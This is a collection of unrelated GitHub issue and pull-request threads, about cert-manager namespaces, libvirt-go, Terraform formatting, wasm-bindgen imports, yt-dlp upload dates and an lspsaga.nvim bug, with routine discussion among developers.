I make a change in the referenced PR. You don't need to add any options. If lualine is installed and you've configured the separators over there, tabline will use the same.


When i install the helm package in namespace kube-system it doesn't work

I installed cert-manager in my k8s in the namespace kube-system
helm upgrade cert-manager jetstack/cert-manager --install \ --namespace kube-system \ --version v1.6.1
When i wan't to see challenges, i have got a message indicating that cert-manager-webhook service cannot be resolved.
> kc get challenges Error from server: conversion webhook for acme.cert-manager.io/v1alpha2, Kind=Challenge failed: Post "https://cert-manager-webhook.cert-manager.svc:443/convert?timeout=30s": service "cert-manager-webhook" not found
The problem was that the svc the pod was looking for was in the wrong namespace. The main pod doesn't matter installed namespace and keep using the namespace cert-manager (which doesn't exists).
For solving my problem, I create namespace cert-manager and I reinstall certmanager in it. And it works
Environment details::

Kubernetes version: 1.20
Cloud-provider/provisioner: OVH
cert-manager version: 1.6.1
Install method: e.g. helm/static manifests helm

See this comment, it is a workaround

helm upgrade cert-manager jetstack/cert-manager --install --namespace kube-system  --version v1.6.1

The reason why it doesn't work is because you are not installing CRDs with the same mechanism (i.e helm upgrade cert-manager jetstack/cert-manager --install --namespace kube-system  --version v1.6.1 --set installCRDs=true), so the webhook address on the CRDs never gets updated to use kube-system namespace.
The solution would be to either install them by passing --set installCRDs=true to the helm upgrade command or, if you have a reason to manage CRDs separately, use some other tool to interpolate the kube-system namespace as @joekhoobyar suggests.


Update libvirt-go to fix memory leak

What this PR does / why we need it:
For more info see https://gitlab.com/libvirt/libvirt-go-module/-/merge_requests/33
Which issue(s) this PR fixes (optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close the issue(s) when PR gets merged):
Fixes #
Special notes for your reviewer:
Release note:
NONE

/cc @stu-gott @davidvossel

/retest-required


Add support for passing credentials  for RDS directly

This way I could create the credentials in secrets manager and pass that in, but we able to refer to that later as well.

Contributions are very welcome.

Great I’ll add it when I get a chance


Make it even more material!

I am not quite sure about what this is called, but I think it's called material ripple effect or something...
At the moment, when someone taps on a drop down menu item, the menu item just darkens without any animation. But as you can see in the Youtube app, the menu items behave differently. The shade is animated. It first starts at where your finger is, then it quickly expands to fill the whole item.
To see the animation, open the Youtube iOS app on a phone, then tap the three dots on the top right corner. Then an action sheet kind of thing appears at the bottom of the screen. If you tap and hold one of the items, you will see the animation. The cool thing about this is that if you tap on the right of the item, the dark color will spread to the left. If you tap on the left, the dark color will spread to the right. And if you tap in the middle, the dark color spreads both sides.
Can you add this to the pod as well?

I have found an image showing the animation: https://raw.githubusercontent.com/nelsoncash/angular-ripple/gh-pages/click.gif


Added autoscaler example with schedule

Planning to use on this page:
https://cloud.google.com/compute/docs/autoscaler/scaling-schedules#creating_a_scaling_schedule

@betsy-lichtenberg
Thanks for the PR! 🚀
Unfortunately it looks like some of our CI checks failed. See the Contributing Guide for details.

⚠check_headers
All files need a license header. Please make sure all your files include the appropriate header. A helper tool available here.

Checking file headers
./autoscaler_instance_group.tf

⚠check_terraform
Failed Terraform check. More details below.

Running terraform fmt
autoscaler_instance_group.tf
--- old/autoscaler_instance_group.tf
+++ new/autoscaler_instance_group.tf
@@ -17,12 +17,12 @@
    }

    scaling_schedules {
-      name                   = "every-weekday-morning"
-      description            = "Increase to 2 every weekday at 7AM for 12 hours."
-      min_required_replicas  = 2
-      schedule               = "0 7 * * MON-FRI"
-      time_zone              = "America/New_York"
-      duration_sec           = 43200
+      name                  = "every-weekday-morning"
+      description           = "Increase to 2 every weekday at 7AM for 12 hours."
+      min_required_replicas = 2
+      schedule              = "0 7 * * MON-FRI"
+      time_zone             = "America/New_York"
+      duration_sec          = 43200
    }
  }
}
Error: terraform fmt failed with exit code 3
Check the output for diffs and correct using terraform fmt <dir>

@betsy-lichtenberg
Thanks for the PR! 🚀
Unfortunately it looks like some of our CI checks failed. See the Contributing Guide for details.

⚠check_terraform
Failed Terraform check. More details below.

Running terraform fmt
autoscaler_instance_group.tf
--- old/autoscaler_instance_group.tf
+++ new/autoscaler_instance_group.tf
@@ -33,12 +33,12 @@
    }

    scaling_schedules {
-      name                   = "every-weekday-morning"
-      description            = "Increase to 2 every weekday at 7AM for 12 hours."
-      min_required_replicas  = 2
-      schedule               = "0 7 * * MON-FRI"
-      time_zone              = "America/New_York"
-      duration_sec           = 43200
+      name                  = "every-weekday-morning"
+      description           = "Increase to 2 every weekday at 7AM for 12 hours."
+      min_required_replicas = 2
+      schedule              = "0 7 * * MON-FRI"
+      time_zone             = "America/New_York"
+      duration_sec          = 43200
    }
  }
}
Error: terraform fmt failed with exit code 3
Check the output for diffs and correct using terraform fmt <dir>

@betsy-lichtenberg
Thanks for the PR! 🚀✅ Lint checks have passed.

@betsy-lichtenberg
Thanks for the PR! 🚀✅ Lint checks have passed.


Update README.md

This will mark this repo as deprecated after this connector repo gets merged into the core modules of opsdroid with PR https://github.com/opsdroid/opsdroid/pull/1147

should be good to merge now ;)


Markdown mode: setext heading underline not given correct token

As CommonMark specified here: http://spec.commonmark.org/0.26/#setext-heading
The setext heading underline is like:
title
===

or
title
---

The "title" text above should also given cm-heading token.
This will help us to do style a lot better!
Thanks again.

see https://github.com/codemirror/CodeMirror/issues/839

@leeoniya Thanks for heads up!


Does not install on MacOS

Hello,
I am trying to install this on MacOS but I get the errors below (solving environment failed). Can you please help me?  If it won't be too much trouble, an environment for Mac would be wonderful. I can definitely wait till next week. Can you also send me a Google Colab example if you already have that prepared? I will try it until you have prepared the Mac environment.
Thank you!


Example to call Rust from JS and back?

I'm trying to adapt the tutorial to call user-defined JS (instead of alert) from Rust:
index.js:
import * as wasm from "testing-wasm";

export const jsfunc = () => {
  console.log("jsfunc called");
};

// Call Rust from JS. This function will call `jsfunc`, declared above.
wasm.rustfunc();

lib.rs:
mod utils;

use wasm_bindgen::prelude::*;

// When the `wee_alloc` feature is enabled, use `wee_alloc` as the global
// allocator.
#[cfg(feature = "wee_alloc")]
#[global_allocator]
static ALLOC: wee_alloc::WeeAlloc = wee_alloc::WeeAlloc::INIT;

#[wasm_bindgen(module = "/www/index.js")]
extern "C" {
    fn jsfunc();
}

#[wasm_bindgen]
pub fn rustfunc() {
    // call JS
    jsfunc();
}

wasm-pack build runs fine. But running the web project (npm run start) can't resolve the import anymore:
ERROR in ../pkg/snippets/testing-wasm-8ea926e8de57779d/www/index.js
Module not found: Error: Can't resolve 'testing-wasm' in '/Users/ischuetz/dev/ct-an/testing-wasm/pkg/snippets/testing-wasm-8ea926e8de57779d/www'
 @ ../pkg/snippets/testing-wasm-8ea926e8de57779d/www/index.js 1:0-37 7:0-13
 @ ../pkg/testing_wasm_bg.wasm
 @ ../pkg/testing_wasm.js
 @ ./index.js
 @ ./bootstrap.js

It works before introducing the circular dependency.
It would be great if you could add an example of this to the tutorial (use case allowing of course). This flow (call Rust, which calls JS back) should be used frequently and it surprisingly hard to find examples. There's e.g. import_js in wasm-bindgen but there there's no direct call to Rust from JS.

I think youre looking for the Wasm-Bindgen Reference. Btw, I think your approach is problematic.

I think youre looking for the Wasm-Bindgen Reference. Btw, I think your approach is problematic.

There seems to be something problematic with wasm-bindgen (used with webpack?). See https://github.com/rustwasm/wasm-bindgen/issues/2375#issuecomment-736861169

There seems to be something problematic with wasm-bindgen (used with webpack?). See https://github.com/rustwasm/wasm-bindgen/issues/2375#issuecomment-736861169


Secure WebSocket Implementation with tokio-tungstenite | tokio-rustls | rustls-platform-verifier

Hi, I'm trying to build wss connection with these crates, but I really have problem, I can't implement this properly.
Details:
https://users.rust-lang.org/t/tokio-tungstenite-rustls-implementation/110211

You posted the thread on the users forum 1 hour ago. Please give it more time before pinging our issue tracker again -- this isn't really a support forum.

You posted the thread on the users forum 1 hour ago. Please give it more time before pinging our issue tracker again -- this isn't really a support forum.

I really don't like to make people busy, but you know I couldn't fix it for days :/
Anyway, you are right.


[README] Fixed typos and wording

Thank you for this awesome library! I went ahead and made a few wording fixes to the README!

Thank you for your contribution :)


BVAL-579 Add type attribute to ExtractedValue

https://hibernate.atlassian.net/projects/BVAL/issues/BVAL-579

It allows to support value extraction for non parameterized types.
Note: we will need to update the line numbers of the source include.

Force pushed an update addressing your comments.


[youtube] Fix inconsistent date timezones (ensure result is in UTC)

Please follow the guide below

You will be asked some questions, please read them carefully and answer honestly
Put an x into all the boxes [ ] relevant to your pull request (like that [x])
Use Preview tab to see how your pull request will actually look like

Before submitting a pull request make sure you have:

[X] At least skimmed through contributing guidelines including yt-dlp coding conventions
[X] Searched the bugtracker for similar pull requests
[X] Checked the code with flake8

In order to be accepted and merged into yt-dlp each piece of code must be in public domain or released under Unlicense. Check one of the following options:

[X] I am the original author of this code and I am willing to release it under Unlicense
[ ] I am not the original author of this code but it is in public domain or released under Unlicense (provide reliable evidence)

What is the purpose of your pull request?

[X] Bug fix
[ ] Improvement
[ ] New extractor
[ ] New feature

Description of your pull request and other information
Fixes #1881
Depends on #2069

Fixes upload_date for videos not being in UTC timezone (by parsing the dateText instead)

player response upload date is fixed to a timezone such as PT (US timezone). We will only use this as a fallback now.
this inadvertently fixes upload dates not being available on non-web clients (#1067)
This does use relative time for streams <24 hours, but since we are only using the date, it should be accurate.

Fixes datetime_from_str using computer's timezone rather than UTC

relative time text parsing actually returns a UNIX timestamp in UTC

Enforce UTC timezone for all API/webpage calls in YouTube extractors, regardless of cookie setting.

TODO:

[X] Add some tests

Couple things:

should we have the bugs report message (or even the warning) if we can't extract the dateText upload date?
for premieres that are scheduled, we get this behavior:
Using playerResponse upload_date:

$ yt-dlp --print upload_date JwvNn7JwIf0 --ignore-no-formats
WARNING: [youtube] Premieres in 2 days
WARNING: No video formats found!
WARNING: Requested format is not available
20220107

Using dateText from this PR:
$ yt-dlp --print upload_date JwvNn7JwIf0 --ignore-no-formats
WARNING: [youtube] Premieres in 2 days
WARNING: No video formats found!
WARNING: Requested format is not available
20220110

which is more or less the release date

for premieres that are scheduled, we get this behavior:

hm.. that is a problem. afair, upload_date should be the date when the video was uploaded, and release_date when the premier starts

for premieres that are scheduled, we get this behavior:

hm.. that is a problem. afair, upload_date should be the date when the video was uploaded, and release_date when the premier starts

TODO: I should check this for past streams/premieres and current/upcoming streams too.
I suppose we could always prefer playerResponse upload date source for scheduled premieres (and any other applicable)
Earlier I had also tested a video that had been published after being scheduled to release public after 2 weeks (normal video, not premiere) and the PR upload date was the same as the date it was made public/dateText).

I observed what the player response was giving for the upload date for a scheduled stream, when it went live and finished. Going by the earlier observation I would assume this applies to premieres too.
dNkMG1Twjug:
Before start (scheduled)
"publishDate": "2022-01-04",
      "ownerChannelName": "Netflix Brasil",
      "liveBroadcastDetails": {
        "isLiveNow": false,
        "startTimestamp": "2022-01-10T00:00:00+00:00"
      },
      "uploadDate": "2022-01-04"

Note the upload date != stream start/release date
When live
"publishDate": "2022-01-04",
      "ownerChannelName": "Netflix Brasil",
      "liveBroadcastDetails": {
        "isLiveNow": true,
        "startTimestamp": "2022-01-10T00:00:06+00:00"
      },
      "uploadDate": "2022-01-04"

When finished
"publishDate": "2022-01-04",
      "ownerChannelName": "Netflix Brasil",
      "liveBroadcastDetails": {
        "isLiveNow": false,
        "startTimestamp": "2022-01-10T00:00:06+00:00",
        "endTimestamp": "2022-01-10T00:47:16+00:00"
      },
      "uploadDate": "2022-01-04"

However, not long after it finished, the upload date changed to the stream start date:
"publishDate": "2022-01-09",
      "ownerChannelName": "Netflix Brasil",
      "liveBroadcastDetails": {
        "isLiveNow": false,
        "startTimestamp": "2022-01-10T00:00:06+00:00",
        "endTimestamp": "2022-01-10T00:47:16+00:00"
      },
      "uploadDate": "2022-01-09"

This was a short stream though. Maybe it is possible YouTube can change the uploadDate during the livestream for longer ones?

Going to merge the rest via https://github.com/yt-dlp/yt-dlp/pull/2402.


lsp_finder error

Describe the bug
lsp_finder stops working after first execution. It fails with that error:
Error executing vim.schedule lua callback: ...te/pack/packer/start/lspsaga.nvim/lua/lspsaga/finder.lua:400: Vim:E481: No range allowe
d
stack traceback:
        [C]: in function 'nvim_win_call'
        ...te/pack/packer/start/lspsaga.nvim/lua/lspsaga/finder.lua:400: in function 'create_finder_win'
        ...te/pack/packer/start/lspsaga.nvim/lua/lspsaga/finder.lua:383: in function 'render_finder'
        ...te/pack/packer/start/lspsaga.nvim/lua/lspsaga/finder.lua:165: in function ''
        vim/_editor.lua: in function <vim/_editor.lua:0>

After first time when lsp_finder has executed successfully, in neovim appears new buffer with [No name] and content of the ls_finder result
● Definition  1
   states/initializing.rs 1
     pub fn setup_scene

● References  1
   src/main.rs 1
     ializing::setup_scene

Same behavior on windows
Steps to reproduce
Open file with lsp client, run Lspsaga lsp_finder
Expected behavior
Fork ok for next lspsaga lsp_fider execution, no creation any empty buff
Neovim version (nvim -v)
NVIM v0.8.3 Build type: Release LuaJIT 2.1.0-beta3 Compiled by builduser  Features: +acl +iconv +tui See ":help feature-compile"     system vimrc file: "$VIM/sysinit.vim"   fall-back for $VIM: "/usr/share/nvim"  Run :checkhealth for more info
lspsaga commit
1253698: remove unused require
Terminal name/version
alacrity Version 0.11.0 (8dbaa0bb), windows power shell

run in normal mode?

@glepnir Yep

can't reproduce it works fine on my local.

Ok, so i need to create it? Or it exists in lspsaga repositiry?

something like this
vim.opt.runtimepath:append("~/dev/nvim-lspconfig/")
vim.opt.runtimepath:append("~/dev/lspsaga.nvim/")
local lspconfig = require("lspconfig") lspconfig.tsserver.setup({})
require('lspsaga').setup({})
lspconfig.tsserver.setup({})
lspconfig.eslint.setup({})

Works fine! But creates an empty buff after using lsp_finder on setup function

idk what you mean creates an empty buffer?

E37: No write since last change
E162: No write since last change for buffer "[No Name]"
Press ENTER or type command to continue

I don't think it create by finder i can't reproduce .

It's on min config((

please use clean env without loading any plugin.  nvim --clean -u path/to/min . the buffer create by finder is wipe .window close it will wipeout.

@glepnir, thanks for the great work!
I'm also faced with this bug by executing lsp_finder and nvim emits the following:
Error executing vim.schedule lua callback: ...ocal/share/nvim/lazy/lspsaga.nvim/lua/lspsaga/finder.lua:406: Vim(quit):E37: No write since last change
stack traceback:
        [C]: in function 'nvim_win_call'
        ...ocal/share/nvim/lazy/lspsaga.nvim/lua/lspsaga/finder.lua:406: in function 'create_finder_win'
        ...ocal/share/nvim/lazy/lspsaga.nvim/lua/lspsaga/finder.lua:389: in function 'render_finder'
        ...ocal/share/nvim/lazy/lspsaga.nvim/lua/lspsaga/finder.lua:165: in function ''
        vim/_editor.lua: in function <vim/_editor.lua:0>

Tracing down to finder.lua:406: if vim.o.lines - 6 - opt.height - winline <= 0 then...
If the cursor is put at the bottom of window, the bug can be reproduced easily.
Otherwise, put the cursor at the top of window, and it works like a charm.


Fixed stringintconv issue

This made the tests fail in Go 1.16 and above

This change is

Strange... while this fixes the tests on Go 1.16 (and above - tested with go tip). The gotip travis environment still fails with weird go.sum errors, which I cannot reproduce.


Feature: add icons to features section

Type of feature
🍕 Feature
Current behavior
This is what the features section looks like:

Suggested solution

remove border
install React Icons
replace the text placeholder icon with an icon (see screenshot)
Don't change the card background (for now)

Additional context
No response
Code of Conduct

[X] I agree to follow this project's Code of Conduct

Not yet, do you want to take it?

I would love to contribute. Can you assign me to this?

yea i would love to take it

sorry @jayanth-kumar-morem, please have a look at the other issues and let me know if you need more infos or any guidance

@TAKANOME-DEV what  is the background gradient used here
and i would love  to suggest that the text on that background is not very visible

I think it a blue color mixed with teal: use bg-gradient-to-r from-blue-600 to-teal-300 and try playing with the colors to see :eyes:
Suggestions are welcome :pray:
You can also have a look at https://www.figma.com/file/OI6kqMhO65Eh5LXC40uuOH/BlogHive?node-id=27%3A2&t=nqy5OoBrHYmzHPxf-0

Ok i'll try to fix this now


Fix 'transient' README

Fix command line example.

LGTM, if my quick read of the related code is right. I would prefer that @kbara rubber stamps this one as she is more familiar with the code.

LGTM, thanks.